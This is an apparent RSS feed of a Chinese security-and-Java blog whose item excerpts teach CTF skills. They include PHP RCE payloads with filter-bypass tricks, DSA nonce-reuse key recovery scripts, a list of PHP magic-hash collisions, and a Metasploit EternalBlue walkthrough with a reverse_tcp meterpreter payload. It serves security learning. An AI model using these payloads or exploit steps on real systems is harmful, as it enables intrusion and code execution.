微微陌上矣
type: channel
link: http://www.cynthia99.link/
description: Just So So ...
items: CTF技能树
items: Swagger拓展自定义字段
items: LCG
items: DSA
items: RCE
items: PHP序列化与反序列化
items: RSA
items: CTF
items: 随机ID生成
items: Kali
items: 自定义注解

CTF技能树
type: item
date: 2024-03-02T14:34:00+08:00
description: 基础知识 CTF简介 CTF（C apture T he F lag，夺旗赛）CTF 的前身是传统黑客之间的网络技术比拼游戏，起源于 1996 年第四届 DEFCON，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。 CTF是一种流行的信息安全竞赛形式，其英文名可直译为“夺得Flag”，也可意译为“夺旗赛”。其大致流程是，参赛团队之间通过进行攻防对抗、程序分析等形式，率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容，并将其提交给主办方，从而夺得分数。为了方便称呼，我们把这样的内容称之为“Flag”。 flag所表示的为目标服务器上存储的一些敏感机密的信息, 这些信息正常情况下是不能对外暴露的。选手利用目标的一些漏洞，获取到flag，其表示的即为在真实的黑客攻击中窃取到的机密信息。 一般情况下flag拥有固定格式为flag{xxxxx}，有些比赛会把flag关键词替换，例如CTFHub平台的flag为ctfhub{xxxxx}，利用固定格式来反推flag也是一种常见的解题思路 通常来说CTF是以团队为单位进行参赛。每个团队3-5人(具体根据主办方要求决定)，在整个比赛过程中既要每个选手拥有某个方向的漏洞挖掘能力，也要同队选手之间的相互配合。 竞赛模式 理论知识 理论题多见于国内比赛，通常为选择题。包含单选及多选，选手需要根据自己所学的相关理论知识进行作答。最终得出分数。理论部分通常多见于初赛或是初赛之前的海选 Jeopardy-解题 参赛队伍可以通过互联网或者现场网络参与，参数队伍通过与在线环境交互或文件离线分析，解决网络安全技术挑战获取相应分值，类似于 ACM 编程竞赛、信息学奥林匹克赛，根据总分和时间来进行排名。 不同的是这个解题模式一般会设置 一血(First Blood) 、 二血(Second Blood) 、 三血(Third Blood) ，也即最先完成的前三支队伍会获得额外分值，所以这不仅是对首先解出题目的队伍的分值鼓励，也是一种团队能力的间接体现。 当然还有一种流行的计分规则是设置每道题目的初始分数后，根据该题的成功解答队伍数，来逐渐降低该题的分值，也就是说如果解答这道题的人数越多，那么这道题的分值就越低。最后会下降到一个保底分值后便不再下降。一般称之为动态积分 题目类型主要包含 Web 网络攻防 、 RE 逆向工程 、 Pwn 二进制漏洞利用 、 Crypto 密码攻击以及 Misc 安全杂项 这五个类别，个别比赛会根据题目类型进行扩展。 AwD-攻防模式 A ttack w ith D efense(AwD)全称攻防模式，在攻防模式CTF赛制中，参赛队伍连接到同一个网络空间。主办方会预先为每个参赛队分配要防守的主机，该主机称之为GameBox，每个队伍之间的GameBox配置及漏洞是完全一致的，选手需要防护自己的GameBox不被攻击的同时挖掘漏洞并攻击对手服务来得分。在AwD中主办方会运行一个名为Checker的程序定时检测选手的GameBox的运行状态。若检测到状态不对则判定该GameBox宕机，按照规则扣除一定分数。攻防模式CTF赛制可以实时通过得分反映出比赛情况，最终也以得分直接分出胜负，是一种竞争激烈，具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中，不仅仅是比参赛队员的智力和技术，也比体力（因为比赛一般都会持续24至48小时左右），同时也比团队之间的分工配合与合作。 AwD通常仅包含Web及Pwn两种类型的题目。每个队伍可能会分到多个GameBox，随着比赛的进行，最早的GameBox可能会下线，同时会上线新的GameBox。 AWP-攻防增强 A ttack D efense P lus(ADP)全称攻防增强模式，在该模式下中，参赛队伍连接到同一个网络空间。主办方会在平台上放置题目，选手需要登录到平台获得题目信息 攻击模式下，平台会给出题目的访问链接，选手按照解题模式做题提交flag即可完成攻击，当完成攻击后， 每轮计算分数时均会计算该题目的攻击得分。 防御模式下，选手需要自行挖掘题目的漏洞，并制作漏洞补丁包上传至平台，之后点击验证。验证时平台会新建一个完全干净的题目环境，使用预置的Exploit进行攻击，若攻击成功当验证通过之后（即已经完成修补），每轮计算分数均会认为该题目已防御。 也就是说，对于每个题目，仅需要攻击成功一次，防御成功一次，该题就可以认为已完成，后续无需进行关注。 ADP通常仅包含Web及Pwn两种类型的题目。随着比赛的进行，最早的题目可能会下线，后续也有可能会上线新的题目。 ADP相较于AwD来说，选手无须编写批量攻击脚本，也无需关注题目的环境是否被攻击，是否服务异常等等，要做的只是攻击一次，防御一次，选手可以有更多的时间聚焦于还未完成的题目…

Swagger拓展自定义字段
type: item
date: 2024-06-03T14:37:36+08:00
description: 准备环境 application.yml spring: application: name: knife4j-demo knife4j: enable: true openapi: title: Knife4j官方文档 description: "`我是测试`,**你知道吗** # aaa" email: xiaoymin@foxmail.com concat: 八一菜刀 url: https://docs.xiaominfo.com version: v4.0 license: Apache 2.0 license-url: https://stackoverflow.com/ terms-of-service-url: https://stackoverflow.com/ group: test1: group-name: 分组名称 api-rule: package api-rule-resources: - com.example.swaggertest pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.5</version> <relativePath/> </parent> <groupId>com.example</groupId> <artifactId>Swagger-Test</artifactId> <version>0.0.1-SNAPSHOT</version> <name>Swagger-Test</name> <description>Swagger-Test</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId>knife4j-openapi2-spring-boot-starter</artifactId> <version>4.4.0</version> </dependency> <dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId> <version>30.1-jre</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project> 目录配置 仅需三个文件即可实现无需其他配置类 @ApiOperationExtended package com.example.swaggertest.annotaion; import io.swagger.annotations.Extension; import io.swagger.annotations.ExtensionProperty; import io.swagger.annotations.ApiOperation; import java.lang.annotation.ElementType; import java.lang.annotation.Retention…

LCG
type: item
date: 2024-04-01T10:46:27+08:00
description: 流密码LCG（线性同余生成器） 流密码 在密码学中，流密码是一种基于流加密算法的密码系统。与块密码不同，流密码将数据作为连续的比特流进行加密处理，以产生加密的比特流输出。流密码以其高速性和实时性能而在许多应用中得到广泛应用，例如通信系统、无线通信和网络安全等领域。 流密码使用密钥和伪随机数发生器（PRNG）生成一个比特流序列，称为密钥流（key stream）。密钥流与明文比特流进行逐比特异或运算，从而实现加密或解密操作。密钥流的生成需要一个初始密钥作为输入，并通过PRNG生成器产生伪随机数序列。这种结合密钥流和异或运算的方式使得流密码具有高效且可逆的特性。 LCG 在之前的内容中，我们介绍了同余的概念，取模运算在密码学中经常被使用。本篇将向大家介绍另一个常见的密码学算法——线性同余生成器（Linear Congruential Generator，简称LCG）。 线性同余生成器是一种伪随机数生成算法，可以生成一个看似随机的序列。其基本原理可以用下面的公式表示： 其中，Xn​表示第n个生成的随机数，a、b和m是事先选定的常数。初始值0X0​被称为种子值。 参数选择 LCG的性质与参数的选择密切相关，不同的参数可能导致不同的随机序列。一般按照如下要求选择对应的参数： m是生成序列的模数，必须是一个大于0的正整数。常见的选择是使用一个较大的素数或2的幂，以提供较长的周期长度。 a是乘法因子，必须是一个与m互素的正整数。 b是增加常数，也必须是一个与m互素的正整数。 应用与安全性 LCG算法在密码学中有广泛的应用，例如生成随机密钥、伪随机序列等。然而，需要注意的是，由于LCG算法的确定性特性，当参数选择不当时，可能导致序列出现可预测性，从而降低安全性。 为了提高安全性，通常需要选择合适的参数，并使用其他的技术和算法来增加随机性。现代密码学中更倾向于使用更安全的随机数生成算法，如密码学安全伪随机数生成器（CSPRNG）。 LCG的原理非常简单，我们也很容易写出它的Python代码实现 class LCG: def __init__(self, seed, a, b, m): self.seed = seed # 初始种子 self.a = a # 乘数 self.b = b # 增量 self.m = m # 模数 def generate(self): self.seed = (self.a * self.seed + self.b) % self.m return self.seed

DSA
type: item
date: 2024-03-30T23:31:02+08:00
description: DSA算法介绍 DSA全称为Digital Signature Algorithm（电子签名算法），被美国NIST选为DSS即Digital Signature Standard（电子签名标准）算法。 课程Crypto入门——RSA（一）的两个问题 如何保证发送的信息没有被窃取？ 如何保证是可信的发送人（即别人不能伪造你的身份发送信息）？ 好的签名应该满足： 可鉴权 不可伪造 不可复制 不可篡改 不可抵赖 密钥生成 签名 验签 正确性证明 离散对数问题 暴力破解 枚举x得到正确的值。 def bsgs(g, y, p): m = isqrt(p)+1 S = {powmod(g, j, p): j for j in range(m)} gs = powmod(g, p - 1 - m, p) for i in range(m): if y in S: return i * m + S[y] y = y * gs % p K相关攻击 已知K攻击 from Crypto.Util.number import * k = 516081660287290857303106041337362876434325919397 p, q, g, y, h, r, s = ... x = (s*k - h) * inverse(r, q) % q print(long_to_bytes(x)) K爆破攻击 如果题目中的k选择范围很小或是有迹可循，则可以考虑枚举每一个K的取值可能。转换为已知K攻击求解X。 from Crypto.Util.number import * p, q, g, y, h, r, s = ... for k in range(999900, 2**20): # 999957 x = (s*k - h) * inverse(r, q) % q if long_to_bytes(x).count(b'-') == 2: print(long_to_bytes(x)) K共享攻击 如果在题目中包含多组签名且至少有两组签名使用了相同的临时密钥k，则我们依然可以从中计算得到x。 考虑约束 from Crypto.Util.number import * p, q, g, y = ... (h1, r1, s1) = ... (h2, r2, s2) = ... k = (h1 - h2) * inverse(s1 - s2, q) % q x = (s1*k - h1) * inverse(r1, q) % q print(long_to_bytes(x)) K相关攻击进阶 线性K攻击 from Crypto.Util.number import * from sympy.ntheory import * p, q, g, y = ... (h1, r1, s1) = ... (h2, r2, s2) = ... a = 123123 b = 213123 k = (h1*r2 - h2*r1 + b*s2*r1) * inverse(s1*r2 - a*s2*r1, q) % q x = (k*s1 - h1) * inverse(r1, q) %q print(long_to_bytes(x)) 关系K攻击 from Crypto.Util.number import * p, q, g, y = ... (h1, r1, s1) = ... (h2, r2, s2) = ... PR.<x> = PolynomialRing(GF(q)) f = s2*x^2*r1 - s1*x*r2 - h2*r1 + h1*r2 print(f.roots()) k = int(f.roots()[1][0]) x = (s1*k - h1) * inverse(r1, q) % q print(long_to_bytes(x))

RCE
type: item
date: 2024-03-30T23:00:00+08:00
description: eval <?php highlight_file(__FILE__); $command=$_POST['cmd']; if(isset($command)){ if(!preg_match("/system|pctl/i",$command)) { echo "welcome to RCE Lession one"; echo " "; eval($command); } else{ die("what are you doing?"); } } ?> cmd=passthru("cat /flag"); 但是这里有个注意事项，就是字符串的末尾必须有分号;，否则会报错 平常我们见到的eval都是形如eval(system('ls');)这样式儿的是吧 下面介绍一些变种 eval(system('ls')?>) eval(?><?php system('ls');?>) eval(?><?php system('ls');?>;) eval(?><?php system('ls');?><?) eval(?><?php system('ls');?><?php;) 关于这一点我们可以理解为eval函数里面其实就是一个<?php ?>，我们往php代码段里写内容。因此我们需要注意闭合的问题 create_function 上面eval的trick类似，create_function也是往方法体注入内容，那么我们也是可以闭合方法体的 function (形参){ 参数内容; } 假如我们的参数内容是}xxxxx//那么是不是也完成了闭合呢？然后xxxx部分就是我们控制的了，那么我们就不需要调用这个匿名函数，直接完成方法执行。 RCE-Challenge-5 <?php highlight_file(__FILE__); $command=$_POST['cmd']; if(isset($command)){ if(!preg_match("/cat|pctl|nl|system|passthru|include|tac|ls|eval|assert/i",$command)) { echo "welcome to RCE Lession 5"; echo " "; create_function($command,""); } else{ die("what are you doing?"); } } cmd=){}echo `uniq /flag`;// ByPass 空格 Bypass $IFS$9 、${IFS} 、%09(\r) <> %0a换行符 多语句执行 我们一般是可以通过;进行多语句执行的，我们也可以通过换行符\n(%0a)进行多语句执行。 关键字 Bypass 通配符 ?通配符匹配单个字母 *通配符匹配多个字母 [x-x]或者是{x,x,x,x} 单双引号 单引号 双引号 反斜杠 以cat指令为例，假如cat被过滤了，我们可以通过ca''t ca""t c"a"t ca\t这样来bypass 编码绕过 比如用base64编码 echo xxxx|base64 -d|bash 变量赋值（拼贴） 假如我们要执行指令whoami，我们可以 a=who;b=ami;$a$b这样就会执行whoami指令。 异或RCE 环境为PHP7 以按位疑惑为例子： <?php $myfile = fopen("text.txt", "w"); //新创建一个文件，也就是rce_or.txt，给他写的权限 $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); //ascii的前16个字符的十六进制应该是01，02，所以在前缀加‘0’ } else{ $hex_i=dechex($i); //前16个后面的就不用加0了 } if($j<16){ $hex_j='0'.dechex($j); //同理上方 } else{ $hex_j=dechex($j); //同理上方 } $preg ='/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; //如果有符合条件的就筛掉，输出空格 } else{ //可以使用的字符如下 $a='%'.$hex_i; //十六进制前加百分号就变成了URL编码格式 $b='%'.$hex_j; $c=(urldecode($a)^…

PHP序列化与反序列化
type: item
date: 2024-03-30T16:17:00+08:00
description: 1. 序列化与反序列化 面向对象 将各类属性和过程聚合为一个整体。 class Student { var $name; var $age; function whoami() { echo "I am ".$this->name; } } 类 -> 对象 定义 -> 具体事物：实例化 $a = new Student(); $b = new Student(); $a->name = "Alice"; $b->name = "Bob"; $a->whoami(); $b->whoami(); 序列化 将内存中的对象保存为文件 配置参数对象 缓存 网路传输 状态保存 echo serialize($a); 反序列化 将序列化字符串重新变成对象 魔术方法 一类特殊的方法，在对象的整个生命周期中会随着特殊事件触发而自动调用 __destruct() 对象销毁，或者脚本执行完时触发; 2.属性修饰符 继承 class Student { public $name; private $age; protected $sex; function whoami() { echo "I am ".$this->name; } } class GoodStudent extends Student { function getSex() { echo $this->sex; } } $gs = new GoodStudent(); $gs->sex = 1; $gs->getSex(); 属性修饰符 public: 公共的：在所有位置都可访问 protected: 受保护的：只能再该类内部和该类的子类中访问 private: 私有的：只能在该类内部访问 3. 反序列化绕过技巧 属性修饰符的绕过 CVE-2016-7124 PHP5 < 5.6.25 PHP7 < 7.0.10 序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。 字符串绕过 利用PHP解析规则构造字符串 4. POP链构造 POP链 POP即面向属性编程(Property Oriented Programing)，利用代码中的各类对象属性和魔术方法，来构造一条人为控制的调用路线。 确定入口 能够开始执行调用的地方。 静态函数调用$a->test(); 动态函数调用$b = 'test'; $a->{$b}(); 魔术方法__destruct() // 对象销毁时自动执行 __wakeup() // 反序列化中自动执行 确定出口（利用点） 类方法中的危险函数eval() system() shell_exec() file_get_contents() 涉及FLAG的地方。 构造属性调用链 通过魔术方法构造调用链。 魔术方法 __destruct() // 对象销毁时自动执行 __wakeup() // 反序列化中自动执行 __toString() // 将对象转换为字符串是自动触发 __invoke() // 将对象作为函数调用时触发 __get($name) // 访问对象中不存在的属性时触发，并将名字作为参数传入 __set($name, $value)// 对对象中不存在的属性赋值时触发，并将名字和值作为参数传入 __call($name, $args)// 调用对象中不存在的方法时触发，并将名字和参数数组作为参数传入 EXP P5 class NSS1 { var $name; } class NSS2 { var $name; } $a = new NSS1(); $a->name = new NSS2(); echo serialize($a); P6 class NSS1 { var $name; } class NSS2 { var $name; } class NSS3 { var $name; var $res; } $a = new NSS1(); $a->name = new NSS2(); $a->name->name = new NSS3(); $a->name->name->name = new NSS3(); $a->name->name->name->res = 'nssctf'; echo serialize($a); P7 class NSS1 { var $name; } class NSS2 { var $name; private $test; function setTest($v) { $this->test=$v; } } class NSS3 { var $name; var $res; } $a = new NSS1(); $a->name = new NSS2(); $a->name->s…

RSA
type: item
date: 2024-03-24T20:06:00+08:00
description: 非对称加密 RSA 加密算法，一种非对称加密算法，在各种场景与环境下都有它的身影，那么它和其它加密算法又有什么不同呢，以及什么是非对称加密算法？ ​非对称加密​：传统的加密算法基于同一密钥进行加密和解密，此时我们会发现我们攻击的重点将落在通信双方的密钥到底是什么，因为即使你的加密算法天衣无缝，但是你的密钥泄露了，我便可以直接通过解密算法得到密钥。 在一个不安全的通信环境中，你的信息需要经过很多节点（中间人）才能传输至目标，此时我们考虑两个问题： 如何保证发送的信息没有被窃取？ 如何保证是可信的发送人（即别人不能伪造你的身份发送信息）？ 其实这便是信息安全等级保护中的CIA三要素的机密性（Confidentiality）和完整性（Integrity）要求。 显然，依靠传统的对称密码我们没办法做到这两点，因为传统对称密码需要事先约定使用某个特定的密码进行通信。此时我们考虑这样一个加密算法，它拥有两组密钥 ​公开密钥Pk（Public key）​：又称公钥，可以公开给所有人进行存储。 ​私有密钥Sk（Secret key）​：又称私钥，只能是发送者自己保存。 如果我们规定加密时使用​公钥​，解密时使用​私钥​，那么似乎我们的第一个问题中的放窃取便有了解决方案 我Xenny要给Soar发送信息，此时我只需要获取Soar的公开密钥（因为这会公开给所有人），然后用这个公钥将我们的信息进行加密，再发送给Soar即可，Soar收到信息后只需要用自己的私钥解密即可。 为什么？ 考虑此时有一个中间节点获取了我们的信息，但是他只能得到加密的信息，而解密则需要私钥，故他没有窃取我们的消息。 那么如何保证可信呢，这里其实属于数字签名的内容，在后续的课程中我们会详细介绍各类签名、认证算法，那么在这里我们可以稍作提及，其实我们只需要使用私钥对数据进行签名，用公钥进行验签即可。 此处若不能理解如何操作，可以暂时不用深究。 RSA 在刚才的内容中，我们提到了非常多的新名词 公钥、私钥、非对称、签名等等… 但我们如何实现这种算法呢，让我们回到本节内容的重点——RSA算法上，RSA 是 1977 年由罗纳德 · 李维斯特（Ron Rivest）、阿迪 · 萨莫尔（Adi Shamir）和伦纳德 · 阿德曼（Leonard Adleman）一起提出的。RSA 就是他们三人姓氏开头字母拼在一起组成的。 整个密码学的基石都是基于一些数学难题，以RSA算法为例，其基于大整数分解难题（IFP），目前来说我们并没有什么有效的办法对一个极大整数做因式分解，再多的优化在极大整数面前都与爆破无异，这保障了RSA的安全性。 接下来我们将学习RSA是如何工作的 生成公私钥 可能此时你便已经开始看不懂了，没关系，让我们一一拆分解释，值得注意的是，你会发现不同的资料上的表述可能都不太一样，例如“素”和“质”的区分，实际上，这些内容因为在目前我们无须深究，所以只需要了解其含义即可，再之后的教程中我们会学习各类算法在不同环、域上的扩展，此时我们再来深究其数学意义。 加密 RSA算法本质上都是基于数学运算，在加密时我们需要先将消息转化为一个数字 m（例如消息ASCII码的二进制排列转为数字），然后有 此时得到的 c 便是我们的密文。 解密 加密时我们只用到了公钥 (N,e)，同理解密时我们也只需用到私钥 (N,d)。有 此时得到的 m 便是我们的明文消息。 正确性证明 也许此时你不明白为什么 m 能经过不同的两次幂运算后会得到原始值，这其实就是为什么RSA中要用到欧拉函数，如果你还不能够理解上面的一切，下面的正确性证明可以先略过，不要给自己徒增压力 转换为证明 算法实现 再上一节中我们学习了RSA的数学原理基础，本节课我们将了解如何具体实现RSA算法。 注意，在大部分资料中，其他作者更喜欢使用举一些特定的数字带入运算，从而让读者明白整个流程或从数字上直观的得到不同算式之间的联系。但我不会在这里不会使用此方式来阐述RSA的算法流程，带入具体数值进行计算观察关系的方式在解题时非常有效，但更多的我希望各位能够理解一种抽象的思维，这对我们后续的学习非常有帮助，当然各位同学在学习过程中可以自行选择自己喜欢的方式进行操作。 我们使用Python语言来实现一个RSA算法，首先你需要确保你已经安装好了Python执行环境以及编辑环境。（这一步如果有问题请自行搜索解决） 我使用的环境为Python 3.9.12 + VSCode，你并不需要和我的环境保持一致，你可以选择自己熟悉或喜爱的环境进行操作，不过Python请使用3.8及以上版本，不然某些操作可能会得到不一样的结果。环境除了这二者之外还包括操作操作系统，我在平时工作中会使用很多不同的操作系统进行工作，对于CTF中密码学而言，这没那么重要，同时我也会尽量保持…

CTF
type: item
date: 2024-02-21T09:02:00+08:00
description: File 文件分离 1.Binwalk 是一个自动提取文件系统，该工具可以自动完成指定文件的扫描，发现潜藏在文件中中所有可疑的文件类型以及文件系统。 命令 binwalk +file扫描发现目标文件中包含的所有可识别的文件类型 binwalk +file -e提取文件 提取成功的话则会生成一个文件名extracted目录，目录中存放的就是提取的文件 SSH SMB 深入挖掘 MD5绕过 ctfhub : md5 collision PHP在处理哈希字符串时，会利用”!=”或”==”来对哈希值进行比较，它把每一个以”0E”开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以”0E”开头的，那么PHP将会认为他们相同，都是0。 攻击者可以利用这一漏洞，通过输入一个经过哈希后以”0E”开头的字符串，即会被PHP解释为0，如果数据库中存在这种哈希值以”0E”开头的密码的话，他就可以以这个用户的身份登录进去，尽管并没有真正的密码。 原值 和 他0e开头的md5 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s8789…

随机ID生成
type: item
date: 2024-01-26T11:48:17+08:00
description: package com.jadx.server.util; import org.apache.commons.lang3.StringUtils; import java.math.BigInteger; import java.util.Random; public final class IdWorker extends com.baomidou.mybatisplus.core.toolkit.IdWorker { private static final long EPOCH = 1479533469598L; //开始时间,固定一个小于当前时间的毫秒数 private static final int max12bit = 4095;// 12位序列号,支持同一毫秒内同一个节点可以生成4096个ID private static final long max41bit = 1099511627775L; private static String machineId = "1101"; // 机器ID 二进制 1101 = 十进制 13 /** * 创建ID */ public static long getId() { long time = System.currentTimeMillis() - EPOCH + max41bit ; // 二进制的 毫秒级时间戳 String base = Long.toBinaryString(time); // 序列数 String randomStr = StringUtils.leftPad(Integer.toBinaryString(new Random().nextInt(max12bit)), 12, '0'); if (StringUtils.isNotEmpty(machineId)) { machineId = StringUtils.leftPad(machineId, 10, '0'); } //拼接 String appendStr = base + machineId + randomStr; // 转化为十进制 返回 BigInteger bi = new BigInteger(appendStr, 2); return Long.parseLong(bi.toString()); } public static void main(String[] args) { for (int i = 0; i < 100; i++) { System.out.println(getId()); } } }

Kali
type: item
date: 2023-08-01T23:15:00+08:00
description: 体验Kali渗透工具 msfconsole msfconsole:启动metasploit命令行。[命令行效率高，使用方便] msf使用法则:使用模块->配置模块必选项->运行模块三步操作，就能实现对主流漏洞的攻击 metasploit 永恒之蓝是指2017年4月14日晚，黑客团体ShadowBrokers(影子经纪人)公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 metasploit攻击全流程 1．使用模块 use exploit/windows/smb/ms17_010_eternalblue 2．设置必选项 查看必选项[*required为yes的就是必选项]show options set RHOSTS 192.168.1.128 [*RHOSTS为target host(s)代表你要攻击谁] set payload windows/x64/meterpreter/reverse_tcp [payload是攻击载荷，就是攻击完成后想干啥，这里是想获取meterpreter][meterpreter是metasploit后渗透的神器] set LHOST 192.188.1.136 [LHOSTS为listen host 代表你是谁，既Kali的IP地址] set LPORT 12345 [LPORT为listen port，代表你要在kali上开启的端口，1-65535随便选，但不能被占用 网络安全之渗透测试 搭建渗透测试攻击环境 Vmware workstation pro 功能强大的桌面虚拟计算机软件，能够让用户在单一主机同时运行多个不同的操作系统。同时支持实时快照，虚拟网络，拖拽文件等强悍功能。 为什么不选择物理机安装?物理机不方便，妨碍正常电脑功能虚拟机不会有太大的性能折损虚拟机安全、方便、易恢复、易迁移、易拓展硬件 docker快速搭建漏洞靶场指南 docker搭建DVWA kali 安装 docker : sudo apt install -y docker.io apt是debian系统的软件包管理器(kali和ubuntu其实也是debian的分支) 使用示例: apt install firefox (安装火狐浏览器 apt removefirefox (卸载火狐浏览器 apt upgrade firefox (升级火狐浏览器 遇到问题 ┌──(root㉿kali)-[~] └─# apt install -y docker.io Reading package lists... Done Building dependency tree... Done Reading state information... Done E: Unable to locate package docker.io E: Couldn't find any package by glob 'docker.io' 解决：sudo apt-get update 为kali配置阿里云加速器 sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["https://i9phuco1.mirror.aliyuncs.com"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker docker基础使用 启动docker服务 systemctl start docker 列出镜像 docker images 列出容器 docker ps -a / docker container Is -a o 删除镜像docker rmi [image_id] 删除容器docker rm [container idl docker搭建DVWA 访问dockerhub的dwa镜像 下载镜像 docker pull vulnerables/web-dvw 通过镜像启动容器docker run --rm -it -p 80:80 vulnerables/web-dvwa 将容器里的80端口映射到Kali的80端口 (网站服务) 关闭容器 docker stop [container id] 开启容器 docker start [container id] vulhub搭建漏洞复现 docker-…

自定义注解
type: item
date: 2023-07-11T13:08:00+08:00
description: 注解的概念 在Spring Boot中，注解是一种用于提供元数据的特殊标记。它们可以应用于类、方法、字段或参数上，用于配置应用程序的行为或告诉Spring框架如何处理特定的组件。 Spring Boot提供了许多注解，用于简化配置和自动化常见任务。以下是一些常用的Spring Boot注解及其概念： @SpringBootApplication：这是一个组合注解，用于标记主应用程序类。它包含了@Configuration、@EnableAutoConfiguration和@ComponentScan注解，用于启用自动配置和组件扫描。 @RestController：用于标记一个类，表示它是一个RESTful风格的控制器。它结合了@Controller和@ResponseBody注解，简化了编写RESTful API的过程。 @RequestMapping：用于映射HTTP请求到控制器的处理方法。可以用于类级别和方法级别，用于指定请求的URL路径和HTTP方法。 @Autowired：用于自动装配依赖。当Spring容器中存在匹配类型的bean时，它会自动将其注入到标记了@Autowired的字段、构造函数或方法参数中。 @Component：用于标记一个类为Spring组件。Spring会自动扫描并将其实例化为bean，可以通过@Autowired进行依赖注入。 @Configuration：用于标记一个类为配置类。配置类通常包含用于配置bean的方法，这些方法使用@Bean注解进行标记。 @EnableAutoConfiguration：用于启用Spring Boot的自动配置机制。它会根据项目的依赖和配置，自动配置Spring应用程序的各种组件。 这只是一小部分Spring Boot注解的概念，Spring Boot提供了更多的注解用于不同的场景和需求。通过使用这些注解，可以简化配置和开发过程，提高开发效率。相当于一个说明文件，告诉应用程序某个被注解的类或属性是什么，要怎么处理。注解对于它所修饰的代码并没有直接的影响。 注解的使用范围 1）为编译器提供信息：注解能被编译器检测到错误或抑制警告。 2）编译时和部署时的处理： 软件工具能处理注解信息从而生成代码，XML文件等等。 3）运行时的处理：有些注解在运行时能被检测到。 自定义注解的步骤 第一步：定义注解 第二步：配置注解 第三步：解析注解 注解的基本语法 最基本的注解定义 public @interface MyAnnotation { public String name(); int age(); String sex() default "女"; } 在自定义注解中，其实现部分只能定义注解类型元素! 说明： 访问修饰符必须为public，不写默认为public； 该元素的类型只能是基本数据类型、String、Class、枚举类型、注解类型以及一维数组； 该元素的名称一般定义为名词，如果注解中只有一个元素，名字起为value最好； ()不是定义方法参数的地方，也不能在括号中定义任何参数，仅仅只是一个特殊的语法； default`代表默认值，值必须定义的类型一致； 如果没有默认值，代表后续使用注解时必须给该类型元素赋值。 常用的元注解 元注解：专门修饰注解的注解。 @Target @Target是专门用来限定某个自定义注解能够被应用在哪些Java元素上面的。其注解的源码如下 @Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { /** * Returns an array of the kinds of elements an annotation type * can be applied to. * @return an array of the kinds of elements an annotation type * can be applied to */ ElementType[] value(); } 从源码可以看出它使用一个枚举类型元素，接下来看这个枚举类型的源码 public enum ElementType { /** Class, interface (including annotation type), or enum declaration（类、接口(包括注释类型)或枚举声明） */ TYPE, /** Field declaration (includes enum constants) （字段声明(包括枚举常量)）*/ FIELD, /** Method declar…